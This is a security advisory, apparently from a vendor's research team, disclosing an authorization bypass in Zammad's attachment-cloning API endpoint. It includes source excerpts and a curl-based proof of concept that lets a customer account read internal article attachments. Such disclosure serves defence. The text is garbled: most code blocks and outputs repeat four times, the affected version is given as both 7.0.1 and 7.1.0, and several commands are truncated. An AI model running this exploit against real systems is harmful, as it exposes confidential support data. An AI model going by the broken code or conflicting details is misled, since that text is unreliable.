Zammad 7.0.1 - Improper authorization in ticket article attachment cloning

7.1

High

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Oscar Naveda

Summary

Full name

Zammad 7.0.1 - Improper authorization in ticket article attachment cloning

Code name

State

Public

Release date

Affected product

Zammad

Vendor

Zammad

Affected version(s)

7.0.1

Fixed version(s)

7.0.2

Vulnerability name

Improper authorization control for web services

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

7.1

Exploit available

Yes

Description

Zammad 7.1.0 contains an authenticated improper authorization vulnerability in the ticket article attachment cloning endpoint.

A customer who can read a ticket, but who is not authorized to view an internal article in that ticket, can call POST /api/v1/ticket_attachment_upload_clone_by_article/:article_id with the internal article_id. The endpoint validates access to the parent ticket, but it does not validate access to the article itself before copying the article's attached files into an attacker-controlled UploadCache.

After the clone operation, the copied file is represented as an UploadCache attachment created by the requesting user and can be downloaded through GET /api/v1/attachments/:id. This bypasses the article-level authorization that correctly blocks direct access to internal article attachments through GET /api/v1/ticket_attachment/:ticket_id/:article_id/:id.

Vulnerability

Root cause

  1. The cloning route is exposed as an authenticated API endpoint (config/routes/ticket.rb:69-70):

    match api_path + '/ticket_attachment/:ticket_id/:article_id/:id',           to: 'ticket_articles#attachment',                                via: :get
    match api_path + '/ticket_attachment_upload_clone_by_article/:article_id',  to: 'ticket_articles#ticket_attachment_upload_clone_by_article', via: :post
    match api_path + '/ticket_attachment/:ticket_id/:article_id/:id',           to: 'ticket_articles#attachment',                                via: :get
    match api_path + '/ticket_attachment_upload_clone_by_article/:article_id',  to: 'ticket_articles#ticket_attachment_upload_clone_by_article', via: :post
    match api_path + '/ticket_attachment/:ticket_id/:article_id/:id',           to: 'ticket_articles#attachment',                                via: :get
    match api_path + '/ticket_attachment_upload_clone_by_article/:article_id',  to: 'ticket_articles#ticket_attachment_upload_clone_by_article', via: :post
    match api_path + '/ticket_attachment/:ticket_id/:article_id/:id',           to: 'ticket_articles#attachment',                                via: :get
    match api_path + '/ticket_attachment_upload_clone_by_article/:article_id',  to: 'ticket_articles#ticket_attachment_upload_clone_by_article', via: :post
  2. The vulnerable controller action loads the article by attacker-supplied id but authorizes only the parent ticket (app/controllers/ticket_articles_controller.rb:153-159):

    def ticket_attachment_upload_clone_by_article
      article = Ticket::Article.find(params[:article_id])
      authorize!(article.ticket, :show?)
    
      render json: {
        attachments: article_attachments_clone(article),
      }
    end
    def ticket_attachment_upload_clone_by_article
      article = Ticket::Article.find(params[:article_id])
      authorize!(article.ticket, :show?)
    
      render json: {
        attachments: article_attachments_clone(article),
      }
    end
    def ticket_attachment_upload_clone_by_article
      article = Ticket::Article.find(params[:article_id])
      authorize!(article.ticket, :show?)
    
      render json: {
        attachments: article_attachments_clone(article),
      }
    end
    def ticket_attachment_upload_clone_by_article
      article = Ticket::Article.find(params[:article_id])
      authorize!(article.ticket, :show?)
    
      render json: {
        attachments: article_attachments_clone(article),
      }
    end

    This is insufficient because a customer can be allowed to view the ticket while still being forbidden from viewing internal articles inside that ticket.

  3. Article-level authorization contains the missing internal-article check (app/policies/ticket/article_policy.rb:5-9):

    def show?
      return false if record.internal && !ticket_policy.agent_read_access?
    
      ticket_policy.show?
    end
    def show?
      return false if record.internal && !ticket_policy.agent_read_access?
    
      ticket_policy.show?
    end
    def show?
      return false if record.internal && !ticket_policy.agent_read_access?
    
      ticket_policy.show?
    end
    def show?
      return false if record.internal && !ticket_policy.agent_read_access?
    
      ticket_policy.show?
    end

    For internal articles, Ticket::ArticlePolicy#show? denies access unless the user has agent read access to the ticket group.

  4. The direct attachment endpoint performs the correct article authorization (app/controllers/ticket_articles_controller.rb:162-187):

    authorize!(article, :show?
    authorize!(article, :show?
    authorize!(article, :show?
    authorize!(article, :show?

    This means direct download of the internal attachment is correctly blocked, but the clone endpoint omits the same check.

  5. The clone helper copies attached files to an attacker-controlled UploadCache (app/controllers/concerns/clones_ticket_article_attachments.rb:8-12):

    def article_attachments_clone(article)
      raise Exceptions::UnprocessableContent, __("Need 'form_id' to add attachments to new form.") if params[:form_id].blank?
    
      article.clone_attachments('UploadCache', params[:form_id], only_attached_attachments: true)
    end
    def article_attachments_clone(article)
      raise Exceptions::UnprocessableContent, __("Need 'form_id' to add attachments to new form.") if params[:form_id].blank?
    
      article.clone_attachments('UploadCache', params[:form_id], only_attached_attachments: true)
    end
    def article_attachments_clone(article)
      raise Exceptions::UnprocessableContent, __("Need 'form_id' to add attachments to new form.") if params[:form_id].blank?
    
      article.clone_attachments('UploadCache', params[:form_id], only_attached_attachments: true)
    end
    def article_attachments_clone(article)
      raise Exceptions::UnprocessableContent, __("Need 'form_id' to add attachments to new form.") if params[:form_id].blank?
    
      article.clone_attachments('UploadCache', params[:form_id], only_attached_attachments: true)
    end
  6. The attachment cloning implementation creates new Store records under the supplied target object and id (app/models/concerns/can_clone_attachments.rb:26-60):

    Store.create!(
      object:      object_type,
      o_id:        object_id,
      data:        elem.content,
      filename:    elem.filename,
      preferences: elem.preferences
    
    
    Store.create!(
      object:      object_type,
      o_id:        object_id,
      data:        elem.content,
      filename:    elem.filename,
      preferences: elem.preferences
    
    
    Store.create!(
      object:      object_type,
      o_id:        object_id,
      data:        elem.content,
      filename:    elem.filename,
      preferences: elem.preferences
    
    
    Store.create!(
      object:      object_type,
      o_id:        object_id,
      data:        elem.content,
      filename:    elem.filename,
      preferences: elem.preferences
    
    
  7. UploadCachePolicy then treats the cloned file as accessible to the user who created it (app/policies/upload_cache_policy.rb:12-18):

    def permission?
      attachments = record.attachments
      return true if attachments.blank?
    
      attachments.first.created_by_id == user.id
    end
    def permission?
      attachments = record.attachments
      return true if attachments.blank?
    
      attachments.first.created_by_id == user.id
    end
    def permission?
      attachments = record.attachments
      return true if attachments.blank?
    
      attachments.first.created_by_id == user.id
    end
    def permission?
      attachments = record.attachments
      return true if attachments.blank?
    
      attachments.first.created_by_id == user.id
    end

Confirmed source-to-sink path

  1. Source: authenticated customer controls :article_id in POST /api/v1/ticket_attachment_upload_clone_by_article/:article_id and form_id in the JSON body.

  2. Article lookup: Ticket::Article.find(params[:article_id]) loads the internal article.

  3. Insufficient authorization: the controller calls authorize!(article.ticket, :show?), which is true for the ticket customer.

  4. Missing authorization: the controller does not call authorize!(article, :show?), so Ticket::ArticlePolicy#show? is bypassed.

  5. Clone operation: article.clone_attachments('UploadCache', params[:form_id], only_attached_attachments: true) copies attached files from the internal article.

  6. New object boundary: copied files become UploadCache Store records tied to the supplied form_id.

  7. Download sink: the customer downloads the cloned file through GET /api/v1/attachments/:id.

Impact

An authenticated customer can read attachments from internal ticket articles in tickets they are allowed to view. Internal articles are intended for agent-only notes and may contain sensitive operational details, credentials, customer information, private correspondence, or other non-public support data.

The issue does not require agent permissions. The attacker only needs:

  • a valid customer account;

  • read access to the parent ticket;

  • knowledge or discovery of an internal article_id in that ticket.

Because direct download of the original internal attachment is forbidden while download of the cloned UploadCache copy succeeds, the issue is an authorization bypass at the article boundary.

PoC

Preconditions

  • Zammad 7.1.0 running locally.

  • Application reachable at http://localhost:8080.

  • A customer account that can view ticket 3:

    cve-customer@example.test / CveCustomer123!
    cve-customer@example.test / CveCustomer123!
    cve-customer@example.test / CveCustomer123!
    cve-customer@example.test / CveCustomer123!
  • Ticket 3 contains an internal article with id 16.

  • Internal article 16 has an attached file:

    Original attachment id: 7
    Filename: secret.txt
    Contents: SECRET-CVE-EVIDENCE: internal attachment content
    Original attachment id: 7
    Filename: secret.txt
    Contents: SECRET-CVE-EVIDENCE: internal attachment content
    Original attachment id: 7
    Filename: secret.txt
    Contents: SECRET-CVE-EVIDENCE: internal attachment content
    Original attachment id: 7
    Filename: secret.txt
    Contents: SECRET-CVE-EVIDENCE: internal attachment content

Step 1 - Confirm the customer can read the parent ticket

curl -s -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/tickets/3?all=true'

curl -s -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/tickets/3?all=true'

curl -s -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/tickets/3?all=true'

curl -s -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/tickets/3?all=true'

Expected result:

  • The ticket is returned because the customer has read access to the parent ticket.

Step 2 - Confirm direct access to the internal attachment is blocked

curl -i -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/ticket_attachment/3/16/7'
curl -i -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/ticket_attachment/3/16/7'
curl -i -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/ticket_attachment/3/16/7'
curl -i -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/ticket_attachment/3/16/7'

Expected result:

HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
{
  "error": "Not authorized",
  "error_human": "Not authorized"
}
{
  "error": "Not authorized",
  "error_human": "Not authorized"
}
{
  "error": "Not authorized",
  "error_human": "Not authorized"
}
{
  "error": "Not authorized",
  "error_human": "Not authorized"
}

This confirms that Zammad correctly recognizes the customer should not read the attachment through the direct article attachment route.

Step 3 - Clone the internal article attachment into a customer-controlled UploadCache

curl -s -u '[email protected]:CveCustomer123!' \
  -H 'Content-Type: application/json' \
  -X POST \
  'http://localhost:8080/api/v1/ticket_attachment_upload_clone_by_article/16' \
  --data '{"form_id":"probe-16"}'

curl -s -u '[email protected]:CveCustomer123!' \
  -H 'Content-Type: application/json' \
  -X POST \
  'http://localhost:8080/api/v1/ticket_attachment_upload_clone_by_article/16' \
  --data '{"form_id":"probe-16"}'

curl -s -u '[email protected]:CveCustomer123!' \
  -H 'Content-Type: application/json' \
  -X POST \
  'http://localhost:8080/api/v1/ticket_attachment_upload_clone_by_article/16' \
  --data '{"form_id":"probe-16"}'

curl -s -u '[email protected]:CveCustomer123!' \
  -H 'Content-Type: application/json' \
  -X POST \
  'http://localhost:8080/api/v1/ticket_attachment_upload_clone_by_article/16' \
  --data '{"form_id":"probe-16"}'

Observed vulnerable response:

{
  "attachments": [
    {
      "id": 9,
      "store_object_id": 5,
      "store_file_id": 6,
      "o_id": "probe-16",
      "preferences": {
        "Content-Type": "text/plain"
      },
      "size": "48",
      "filename": "secret.txt",
      "created_by_id": 7,
      "created_at": "2026-06-24T13:35:08.890Z",
      "updated_at": "2026-06-24T13:35:08.890Z"
    }
  ]
}
{
  "attachments": [
    {
      "id": 9,
      "store_object_id": 5,
      "store_file_id": 6,
      "o_id": "probe-16",
      "preferences": {
        "Content-Type": "text/plain"
      },
      "size": "48",
      "filename": "secret.txt",
      "created_by_id": 7,
      "created_at": "2026-06-24T13:35:08.890Z",
      "updated_at": "2026-06-24T13:35:08.890Z"
    }
  ]
}
{
  "attachments": [
    {
      "id": 9,
      "store_object_id": 5,
      "store_file_id": 6,
      "o_id": "probe-16",
      "preferences": {
        "Content-Type": "text/plain"
      },
      "size": "48",
      "filename": "secret.txt",
      "created_by_id": 7,
      "created_at": "2026-06-24T13:35:08.890Z",
      "updated_at": "2026-06-24T13:35:08.890Z"
    }
  ]
}
{
  "attachments": [
    {
      "id": 9,
      "store_object_id": 5,
      "store_file_id": 6,
      "o_id": "probe-16",
      "preferences": {
        "Content-Type": "text/plain"
      },
      "size": "48",
      "filename": "secret.txt",
      "created_by_id": 7,
      "created_at": "2026-06-24T13:35:08.890Z",
      "updated_at": "2026-06-24T13:35:08.890Z"
    }
  ]
}

The response exposes the newly cloned UploadCache attachment id. In this example, the cloned attachment id is 9.

Step 4 - Download the cloned attachment as the same customer

curl -s -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/attachments/9' \
  -o

curl -s -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/attachments/9' \
  -o

curl -s -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/attachments/9' \
  -o

curl -s -u '[email protected]:CveCustomer123!' \
  'http://localhost:8080/api/v1/attachments/9' \
  -o

Step 5 - Verify the leaked content

cat
cat
cat
cat

Observed result:

SECRET-CVE-EVIDENCE: internal attachment content
SECRET-CVE-EVIDENCE: internal attachment content
SECRET-CVE-EVIDENCE: internal attachment content
SECRET-CVE-EVIDENCE: internal attachment content

Evidence of Exploitation

  • Video of exploitation

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-13229 to refer to this issue from now on.

System Information

  • Zammad

  • Version: 7.0.1

  • Operating System: Any

References

Mitigation

An updated version of Zammadz is available on the vendor page.

Credits

The vulnerability was discovered by Oscar Naveda from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks